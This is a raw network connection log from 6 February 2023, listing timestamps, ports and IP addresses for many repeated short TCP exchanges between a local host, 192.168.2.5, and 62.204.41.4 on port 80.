Feb 6, 2023 14:17:20.063674927 CET	49809	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.064471960 CET	49810	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.124355078 CET	80	49809	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.124603033 CET	49809	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.127012968 CET	80	49810	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.127253056 CET	49810	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.127758026 CET	49810	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.190392971 CET	80	49810	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.195579052 CET	80	49810	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.196620941 CET	49810	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.307984114 CET	49810	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.309211016 CET	49811	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.369831085 CET	80	49811	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.370018959 CET	49811	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.370368958 CET	49811	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.370579958 CET	80	49810	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.370767117 CET	49810	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.430716991 CET	80	49811	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.433793068 CET	80	49811	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.433973074 CET	49811	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.558245897 CET	49811	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.559145927 CET	49812	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.618877888 CET	80	49811	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.618937969 CET	80	49812	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.619642019 CET	49811	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.619707108 CET	49812	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.620291948 CET	49812	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.679981947 CET	80	49812	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.683015108 CET	80	49812	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.683773041 CET	49812	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.807533026 CET	49812	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.808571100 CET	49813	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.867427111 CET	80	49812	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.867782116 CET	49812	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.869945049 CET	80	49813	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.871826887 CET	49813	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.872292042 CET	49813	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:20.933764935 CET	80	49813	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.936855078 CET	80	49813	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:20.950185061 CET	49813	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.075716019 CET	49813	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.076338053 CET	49814	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.135994911 CET	80	49814	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.137320042 CET	80	49813	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.150926113 CET	49813	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.150924921 CET	49814	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.151913881 CET	49814	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.211472988 CET	80	49814	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.216082096 CET	80	49814	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.218950033 CET	49814	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.321100950 CET	49814	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.322005987 CET	49815	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.381026030 CET	80	49814	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.382807016 CET	49814	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.383357048 CET	80	49815	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.390685081 CET	49815	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.391572952 CET	49815	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.453105927 CET	80	49815	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.455930948 CET	80	49815	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.467585087 CET	49815	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.584038973 CET	49815	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.584899902 CET	49816	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.644387960 CET	80	49816	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.644602060 CET	49816	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.645116091 CET	49816	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.645651102 CET	80	49815	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.645760059 CET	49815	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.704581022 CET	80	49816	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.707312107 CET	80	49816	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.709451914 CET	49816	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.822911978 CET	49816	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.823542118 CET	49817	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.882601976 CET	80	49816	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.882822990 CET	49816	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.885831118 CET	80	49817	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.886059046 CET	49817	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.886399984 CET	49817	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:21.948631048 CET	80	49817	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.951565027 CET	80	49817	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:21.953385115 CET	49817	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.071541071 CET	49817	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.073534966 CET	49818	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.133903027 CET	80	49817	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.135118961 CET	80	49818	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.139741898 CET	49817	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.139818907 CET	49818	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.140346050 CET	49818	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.201989889 CET	80	49818	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.207415104 CET	80	49818	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.211074114 CET	49818	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.324146032 CET	49818	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.324870110 CET	49819	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.385899067 CET	80	49818	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.385948896 CET	80	49819	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.394224882 CET	49818	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.394289970 CET	49819	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.395200968 CET	49819	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.456602097 CET	80	49819	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.459952116 CET	80	49819	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.466686010 CET	49819	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.580745935 CET	49819	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.592842102 CET	49820	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.642206907 CET	80	49819	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.642398119 CET	49819	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.655416012 CET	80	49820	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.657330036 CET	49820	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.659075975 CET	49820	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.721462011 CET	80	49820	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.724231958 CET	80	49820	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.724391937 CET	49820	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.826592922 CET	49820	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.827301979 CET	49821	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.889254093 CET	80	49820	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.889650106 CET	80	49821	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.892227888 CET	49820	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.892302036 CET	49821	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.892786026 CET	49821	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:22.955050945 CET	80	49821	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.957637072 CET	80	49821	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:22.957906961 CET	49821	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.082066059 CET	49821	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.082951069 CET	49822	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.144520044 CET	80	49822	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.144601107 CET	80	49821	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.157238960 CET	49822	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.157239914 CET	49821	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.172086954 CET	49822	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.233635902 CET	80	49822	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.237900972 CET	80	49822	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.245960951 CET	49822	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.370423079 CET	49822	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.371339083 CET	49823	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.431663990 CET	80	49823	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.431850910 CET	80	49822	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.432188034 CET	49822	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.432212114 CET	49823	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.433454037 CET	49823	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.493768930 CET	80	49823	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.496156931 CET	80	49823	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.504331112 CET	49823	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.616836071 CET	49823	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.617854118 CET	49824	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.677486897 CET	80	49823	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.677544117 CET	80	49824	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.677783966 CET	49823	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.677819014 CET	49824	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.678412914 CET	49824	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.737925053 CET	80	49824	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.740700006 CET	80	49824	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.741857052 CET	49824	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.855545998 CET	49824	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.856408119 CET	49825	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.915174007 CET	80	49824	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.915349007 CET	49824	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.917758942 CET	80	49825	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.917917013 CET	49825	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.920192003 CET	49825	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:23.981637955 CET	80	49825	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.984153032 CET	80	49825	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:23.984231949 CET	49825	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.095707893 CET	49825	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.096379995 CET	49826	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.157439947 CET	80	49825	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.157535076 CET	49825	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.158710957 CET	80	49826	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.158840895 CET	49826	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.159354925 CET	49826	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.221595049 CET	80	49826	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.226125956 CET	80	49826	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.226339102 CET	49826	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.338222027 CET	49826	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.339379072 CET	49827	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.401786089 CET	80	49827	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.402029991 CET	49827	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.402563095 CET	49827	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.402641058 CET	80	49826	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.402786970 CET	49826	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.463171005 CET	80	49827	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.465754986 CET	80	49827	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.465997934 CET	49827	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.583009005 CET	49827	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.583857059 CET	49828	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.643672943 CET	80	49827	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.644193888 CET	49827	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.646246910 CET	80	49828	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.646441936 CET	49828	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.646924973 CET	49828	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.709220886 CET	80	49828	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.711596966 CET	80	49828	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.711828947 CET	49828	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.814053059 CET	49828	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.814970016 CET	49829	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.875410080 CET	80	49829	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.876244068 CET	49829	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.876580954 CET	80	49828	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.876697063 CET	49828	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.880676985 CET	49829	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:24.941193104 CET	80	49829	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.943907022 CET	80	49829	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:24.944122076 CET	49829	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.049357891 CET	49829	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.050287008 CET	49830	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.109991074 CET	80	49829	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.110136032 CET	49829	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.111157894 CET	80	49830	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.114377022 CET	49830	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.114846945 CET	49830	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.175221920 CET	80	49830	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.180715084 CET	80	49830	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.184252977 CET	49830	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.343641043 CET	49830	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.345140934 CET	49831	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.404231071 CET	80	49830	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.404342890 CET	49830	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.404570103 CET	80	49831	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.404687881 CET	49831	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.452284098 CET	49831	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.514477015 CET	80	49831	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.517364025 CET	80	49831	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.517529964 CET	49831	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.631582975 CET	49831	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.632483959 CET	49832	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.691320896 CET	80	49831	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.691489935 CET	49831	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.692936897 CET	80	49832	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.693140984 CET	49832	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.693521023 CET	49832	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.754004955 CET	80	49832	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.756983042 CET	80	49832	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.757123947 CET	49832	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.891786098 CET	49832	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.892936945 CET	49833	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.952594042 CET	80	49832	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.952779055 CET	49832	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.955543041 CET	80	49833	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:25.955739021 CET	49833	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:25.956223965 CET	49833	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.018794060 CET	80	49833	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.021404982 CET	80	49833	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.021569967 CET	49833	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.126774073 CET	49833	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.127763987 CET	49834	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.188309908 CET	80	49834	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.188447952 CET	49834	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.189443111 CET	80	49833	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.189578056 CET	49833	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.192656994 CET	49834	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.253405094 CET	80	49834	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.258816957 CET	80	49834	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.259103060 CET	49834	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.362234116 CET	49834	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.364604950 CET	49835	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.424537897 CET	80	49834	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.424726963 CET	49834	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.425487041 CET	80	49835	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.425633907 CET	49835	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.426112890 CET	49835	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.486529112 CET	80	49835	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.489983082 CET	80	49835	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.490166903 CET	49835	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.597754955 CET	49835	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.598659039 CET	49836	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.658871889 CET	80	49835	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.658977032 CET	49835	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.659930944 CET	80	49836	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.660058975 CET	49836	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.660548925 CET	49836	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.721914053 CET	80	49836	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.724510908 CET	80	49836	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.724622965 CET	49836	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.833072901 CET	49836	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.836189985 CET	49837	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.896210909 CET	80	49836	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.896337986 CET	49836	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.897164106 CET	80	49837	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.897300959 CET	49837	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.897782087 CET	49837	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:26.957247972 CET	80	49837	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.959956884 CET	80	49837	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:26.960079908 CET	49837	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.068015099 CET	49837	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.069446087 CET	49838	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.127700090 CET	80	49837	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.127794981 CET	49837	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.131016970 CET	80	49838	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.131165028 CET	49838	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.131716013 CET	49838	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.193408012 CET	80	49838	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.198204041 CET	80	49838	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.198304892 CET	49838	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.314157009 CET	49838	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.314800978 CET	49839	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.376363993 CET	80	49838	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.376524925 CET	49838	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.377002954 CET	80	49839	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.377104044 CET	49839	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.377568007 CET	49839	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.441015959 CET	80	49839	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.444006920 CET	80	49839	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.444221973 CET	49839	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.560113907 CET	49839	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.561132908 CET	49840	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.621841908 CET	80	49839	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.622493029 CET	49839	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.622497082 CET	80	49840	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.622606039 CET	49840	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.625202894 CET	49840	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.686578035 CET	80	49840	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.689275026 CET	80	49840	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.689467907 CET	49840	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.798623085 CET	49840	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.799590111 CET	49841	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.860538006 CET	80	49840	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.860661030 CET	49840	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.861871958 CET	80	49841	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.862068892 CET	49841	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.862567902 CET	49841	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:27.924992085 CET	80	49841	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.928556919 CET	80	49841	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:27.932461023 CET	49841	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.049216986 CET	49841	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.050165892 CET	49842	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.110769033 CET	80	49842	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.110941887 CET	49842	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.111422062 CET	49842	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.111629009 CET	80	49841	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.111732006 CET	49841	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.171978951 CET	80	49842	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.177723885 CET	80	49842	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.178867102 CET	49842	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.285309076 CET	49842	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.286139965 CET	49843	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.348515987 CET	80	49842	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.349548101 CET	80	49843	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.349730968 CET	49842	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.349781036 CET	49843	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.350641966 CET	49843	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.412924051 CET	80	49843	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.415501118 CET	80	49843	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.415668964 CET	49843	80	192.168.2.5	62.204.41.4
